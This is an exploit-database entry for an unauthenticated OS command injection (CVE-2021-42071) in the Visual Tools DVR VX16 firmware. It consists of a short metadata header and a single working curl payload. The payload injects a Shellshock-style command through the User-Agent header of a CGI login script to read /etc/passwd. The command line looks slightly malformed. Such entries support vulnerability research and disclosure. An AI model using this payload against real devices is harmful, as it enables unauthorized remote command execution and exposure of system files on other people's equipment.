Visual Tools DVR VX16 4.2.28.0 - OS Command Injection (Unauthenticated)

# Exploit Title: Visual Tools DVR VX16 4.2.28.0 - OS Command Injection (Unauthenticated)
# Date: 2021-07-05
# Exploit Author: Andrea D'Ubaldo
# Vendor Homepage: https://visual-tools.com/
# Version: Visual Tools VX16 v4.2.28.0
# Tested on: VX16 Embedded Linux 2.6.35.4.
# CVE: CVE-2021-42071
# Reference: https://www.swascan.com/security-advisory-visual-tools-dvr-cve-2021-42071/

# An unauthenticated remote attacker can inject arbitrary commands to CGI script that can result in remote command execution.

curl -H 'User-Agent: () { :; }; echo ; echo ; /bin/cat /etc/passwd' bash -s :'' http:/DVR_ADDR/cgi-bin/slogin/login.py